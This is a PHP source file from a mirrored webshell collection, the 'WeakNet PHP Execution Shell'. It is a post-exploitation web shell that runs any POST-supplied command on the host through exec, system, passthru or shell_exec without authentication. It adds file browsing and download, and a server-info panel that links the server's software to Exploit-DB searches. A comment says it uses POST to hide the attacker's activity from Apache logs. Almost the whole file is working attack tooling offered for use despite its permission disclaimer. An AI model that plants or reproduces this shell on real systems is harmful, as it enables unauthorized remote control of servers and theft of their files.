mirror of
https://github.com/tennc/webshell
synced 2024-11-10 05:44:11 +00:00
255 lines
11 KiB
PHP
255 lines
11 KiB
PHP
<!DOCTYPE html>
|
|
<html>
|
|
<!--
|
|
WeakNet PHP Execution Shell - Post-exploitation shell for convenience
|
|
with navigation, and file content showing capabilities
|
|
version 0.2
|
|
2015 - Written by Douglas WeakNetLabs@Gmail.com
|
|
-->
|
|
<head>
|
|
<title>Weakerthan PHP Exec Shell - 2015 WeakNet Labs</title>
|
|
<style>
|
|
html{ /* global styling */
|
|
font-family:"Open Sans", sans-serif;
|
|
background-color:#3c3c3c;
|
|
color:#729fcf;
|
|
}
|
|
.inputCMD{ /* input parent box at the bottom */
|
|
border-top:3px solid #666;
|
|
position:fixed;
|
|
bottom:0px;
|
|
left:0px;
|
|
width:100%;
|
|
padding:20px 0px 20px 10px;
|
|
background:#262626;
|
|
}
|
|
.cmdTitle{ /* a simple span to differentiate the command from the title */
|
|
font-size:14px;
|
|
color:yellow;
|
|
font-family:monospace;
|
|
}
|
|
input[type=text]{ /* making input look a bit more modern */
|
|
font-size:15px;
|
|
background-color:#353535;
|
|
color:yellow;
|
|
padding:10px;
|
|
border:2px solid #2e2e2e;
|
|
float:left;
|
|
margin:5px 0px 0px 0px;
|
|
transition-property: background-color;
|
|
transition-duration: 2s;
|
|
}
|
|
input[type=text]:hover{ /* making input look a bit more modern */
|
|
background-color:#545454;
|
|
}
|
|
.titleBar{ /* this parent div is positioned */
|
|
position:fixed;
|
|
top:0px;
|
|
left:0px;
|
|
width:100%;
|
|
height:50px;
|
|
background:#2a2a2a;
|
|
border-bottom:3px solid #666;
|
|
padding-bottom:5px;
|
|
}
|
|
.title{ /* this div is to vertically center the child, titleCenter */
|
|
display: table-cell;
|
|
vertical-align: middle;
|
|
padding:10px 0px 10px 10px;
|
|
}
|
|
.titleCenter{ /* vertically centered in middle of ".title" */
|
|
height:25px;
|
|
margin:auto;
|
|
display: inline-block;
|
|
}
|
|
.output{ /* command output box with scolled overlfow */
|
|
font-family: monospace;
|
|
font-size:14px;
|
|
margin:70px 0px 0px 0px;
|
|
overflow:scrolled;
|
|
padding: 5px 5px 150px 5px; /* to show command output behind the inputCMD bar */
|
|
color:#ccc;
|
|
background-color:#565656;
|
|
width:74%;
|
|
}
|
|
.unicode{ /* display a pointer on hover */
|
|
cursor:pointer;
|
|
}
|
|
.serverInfo{ /* for small box on top right for server information */
|
|
border:2px solid #666;
|
|
position:fixed;
|
|
top:10px;
|
|
right:10px;
|
|
z-index:1337;
|
|
background:#2e2e2e;
|
|
color:#729fcf;
|
|
padding:5px;
|
|
font-size:14px;
|
|
}
|
|
.branding{ /* for a link to the GitHUB page */
|
|
float:right;
|
|
font-size:15px;
|
|
margin-right:20px;
|
|
height:40px; /* because of padding t,b of inputCMD */
|
|
}
|
|
a{ /* why can't this be non hideous by default? */
|
|
text-decoration:none;
|
|
color:#729fcf;
|
|
}
|
|
a:hover{
|
|
text-decoration:underline; /* to differentiate, i guess */
|
|
}
|
|
button{
|
|
margin:5px 0px 0px 10px;
|
|
color:#729fcf;
|
|
padding:10px;
|
|
background-color:#353535;
|
|
border:2px solid #2e2e2e;
|
|
float:left;
|
|
transition-property: background-color;
|
|
transition-duration: 2s;
|
|
}
|
|
button:hover{
|
|
background-color:#545454;
|
|
}
|
|
/* these are for styling the tbale output of the .serverInfo box: */
|
|
tr:nth-child(even) {background: #202020}
|
|
tr:nth-child(odd) {background: #343434}
|
|
td{ padding:3px;}
|
|
</style>
|
|
<script>
|
|
// for dynamically generating navigation from output
|
|
function submitFile(path,file,action){
|
|
if(action == "cat"){
|
|
document.getElementById("inputCmd").value='cat ' + path + file; // TODO change to while read foo do echo foo
|
|
}else if(action == "ls"){
|
|
document.getElementById("inputCmd").value='ls -l ' + path + file; // TODO change to while read foo do echo foo
|
|
}
|
|
document.getElementById("submitCmd").submit(); // submit the request
|
|
}
|
|
function execType(type){
|
|
document.getElementById('execType').value=type; // Just set the type here and the PHP POST will pick it up
|
|
}
|
|
</script>
|
|
</head>
|
|
<body>
|
|
<?php
|
|
if (!$_POST['cmd']) { # initial hit to the page
|
|
$cmd = "(none) Please type a command to execute below";
|
|
$output = "WeakNet Post-Exploitation PHP Execution Shell is free, redistributable software. It has no warranty for the program, "
|
|
."to the extent permitted by applicable law. WeakNet Laboratories is no liable to you for damages, including any general,"
|
|
." special, incidental or consequential damages arising out of the use or inability to use the program. <br /><br />This"
|
|
." program should only be used on systems that the penetration tester has permission to use or owns."
|
|
."<br /><br />To begin, please type a command below. For help please refer to the GitHUB Readme.md file by clicking on the"
|
|
." link on the bottom left. Thank you for choosing WeakNet Labs!";
|
|
}else{
|
|
$cmd = $_POST['cmd']; # reassign is easier to read
|
|
if($_POST['execType'] == "exec"){
|
|
exec("$cmd 2>/dev/stdout",$results); # a command, let's execute it on the host
|
|
}elseif($_POST['execType'] == "system"){
|
|
system("$cmd 2>/dev/stdout",$results); # use system() in case exec() was disabled in PHP.ini
|
|
}elseif($_POST['execType'] == "passthru"){
|
|
passthru("$cmd 2>/dev/stdout",$results); # use passthru for command execution/injection
|
|
}elseif($_POST['execType'] =="shell_exec"){
|
|
$results = shell_exec("$cmd 2>/dev/stdout"); # use shell_exec (similar to backtick operators, or $() in Bash)
|
|
}
|
|
}
|
|
echo "<div class=\"titleBar\"><div class=\"title\"><div class=\"titleCenter\"><span style=\"font-size:35px;\">🐚 WPES</span> Displaying results for command: ".
|
|
" <span class=\"cmdTitle\">".$cmd."</span></div></div></div>";
|
|
?>
|
|
<!-- This is where the outpu of the command goes -->
|
|
<div class="output">
|
|
<?php
|
|
if($_POST['cmd']){ # a command was passed, parse output:
|
|
foreach(array_slice($results,1,count($results)) as $output) { # let's format the output, in case it contains HTML characters:
|
|
$raw = implode ('\n',$results); # save the raw form for downloading
|
|
$exploded = explode(" ", $output);
|
|
$file = array_pop($exploded);
|
|
$path = preg_replace("/.*\s([^ ]+)$/","$1","$cmd"); # get full path
|
|
if(!preg_match("/\/$/","$path")){ # add a fwd slash:
|
|
$path .= "/";
|
|
} # now we can style the regular file output:
|
|
$output = preg_replace("/&/","&",$output); # replace all ampersands
|
|
$output = preg_replace("/</","<",$output); # replace all less thanh (open HTML tag brackets)
|
|
$output = preg_replace("/\s/"," ",$output); # replace all whitespace
|
|
if(preg_match("/^ls -l\s/","$cmd")){ # is this an ls command?
|
|
if(!preg_match("/^d/","$output")){
|
|
echo "<span style=\"color:yellow\" title=\"Click here view file contents\" class=\"unicode\" onClick=\"submitFile('$path','$file','cat');\">🐱</span> ".$output."<br />";
|
|
}else{
|
|
echo "<span style=\"color:#00ce05\" title=\"Click here to view directory contents\" class=\"unicode\" onClick=\"submitFile('$path','$file','ls');\">🔍</span> ".$output."<br />";
|
|
}
|
|
}else{
|
|
echo $output."<br />";
|
|
}
|
|
}
|
|
}else{
|
|
echo $output."<br />"; # dump message
|
|
}
|
|
?>
|
|
<script>
|
|
// this is seemingly randomly placement, but I am using PHP to write the file contents that I need to retrieve first
|
|
function saveFile(){
|
|
window.open('data:text/plain;charset=utf-8,' + escape('<?php $contents = preg_replace("/(\(|\)|\$|')/","$1",$raw); echo $contents; ?>'));
|
|
}
|
|
</script>
|
|
<!-- Download the file -->
|
|
<?php
|
|
if($_POST['downloadFile']){ # pass download, by clicking on the download button
|
|
if($_POST['downloadFile'] == 1){ # 0 for non download 1 for download
|
|
$abspath = $path . $file; # create an absolute path to the file
|
|
if (file_exists($abspath)) { # does the file exist?
|
|
header('Content-Description: File Transfer');
|
|
header('Content-Type: application/octet-stream');
|
|
header('Content-Disposition: attachment; filename="'.basename($abspath).'.txt"');
|
|
header('Expires: 0');
|
|
header('Cache-Control: must-revalidate');
|
|
header('Pragma: public');
|
|
header('Content-Length: ' . filesize($abspath));
|
|
readfile($abspath);
|
|
}
|
|
}
|
|
}
|
|
?>
|
|
</div>
|
|
<!-- The input box and whole bottom bar -->
|
|
<div class="inputCMD">
|
|
<strong>PHP Exec Function: </strong>
|
|
<a href="http://php.net/manual/en/function.exec.php">exec()</a><input type="radio" <?php if(!$_POST['execType']){echo "checked"; }else{if($_POST['execType'] == "exec"){echo "checked";} } ?>
|
|
name="execType" value="exec" onClick="execType('exec')"/>
|
|
<a href="http://php.net/manual/en/function.system.php">system()</a><input onClick="execType('system')" <?php if($_POST['execType']){if($_POST['execType'] == "system"){echo "checked";} } ?>
|
|
type="radio" name="execType" value="system" />
|
|
<a href="http://php.net/manual/en/function.passthru.php">passthru()</a><input onClick="execType('passthru')" <?php if($_POST['execType']){if($_POST['execType'] == "passthru"){echo "checked";} } ?>
|
|
type="radio" name="execType" value="passthru" />
|
|
<a href="http://php.net/manual/en/function.shell-exec.php">shell_exec()</a><input onClick="execType('shell_exec')" <?php if($_POST['execType']){if($_POST['execType'] == "shell_exec"){echo "checked";} } ?>
|
|
type="radio" name="execType" value="shell_exec" /><br />
|
|
<form action="#" method="post" name="submitCmd" id="submitCmd"><!-- no button here, just hit enter -->
|
|
<input id="inputCmd" type="text" size="55" placeholder="Type command here to execute on host and hit return" name="cmd"/>
|
|
<input type="hidden" value="<?php if($_POST['execType'] != ""){echo $_POST['execType'];}else{echo "exec";} ?>" name="execType" id="execType"/>
|
|
<button type="button" onClick="saveFile();">Download File</button>
|
|
</form><!-- went with POST method to slightly obfuscate the attacker's activity from simple Apache logs -->
|
|
<!-- The band name on the bottom left -->
|
|
<div class="branding">
|
|
<a href="https://github.com/weaknetlabs/wpes">🐚 WPES WeakNet Labs</a>
|
|
</div>
|
|
<!-- The Server info box -->
|
|
<div class="serverInfo">
|
|
<table>
|
|
<tr><strong style="font-size:16px;">📡 Remote Server Information 📡</strong></tr>
|
|
<tr><td>IP</td><td><?php echo "<a title=\"Check ARIN database for this IP address information.\" target=\"_blank\" href=\"http://whois.arin.net/rest/nets;q=".$_SERVER['SERVER_ADDR']
|
|
."?showDetails=true&showARIN=false&showNonArinTopLevelNet=false&ext=netref2\">"
|
|
.$_SERVER['SERVER_ADDR']."</a>"; ?>
|
|
</td</tr>
|
|
<?php # let's create an exploit-db search link
|
|
$software = preg_replace("/\//","%20",$_SERVER['SERVER_SOFTWARE']); # get rid of fwd slashes
|
|
$software = preg_replace("/\([^)]+\)/","",$software); # get rid of OS version
|
|
?>
|
|
<tr><td>Hostname</td><td><?php echo "<a target=\"blank\" href=\"https://www.google.com/?gws_rd=ssl#q=site:".$_SERVER['SERVER_NAME']."\">".$_SERVER['SERVER_NAME']."</a>"; ?></td</tr>
|
|
<tr><td>Software</td><td><?php echo "<a target=\"blank\" title=\"Check for exploits for this software using Exploit-DB.\" href=\"https://www.exploit-db.com/search/?action=search&description=".$software."&e_author=\">".$_SERVER['SERVER_SOFTWARE']."</a>"; ?></td</tr>
|
|
<tr><td>Timestamp</td><td><?php echo $_SERVER['REQUEST_TIME']; ?></td</tr>
|
|
<tr><td>Admin</td><td><?php echo "<a target=\"_blank\" title=\"Email administrator.\" href=\"mailto:".$_SERVER['SERVER_ADMIN']."\">".$_SERVER['SERVER_ADMIN']."</a>" ?></td</tr>
|
|
</table>
|
|
</div>
|
|
</body>
|
|
</html>
|
|
Status API Training Shop Blog About Pricing
|
|
© 2015 GitHub, Inc. Terms Privacy Security Contact Help
|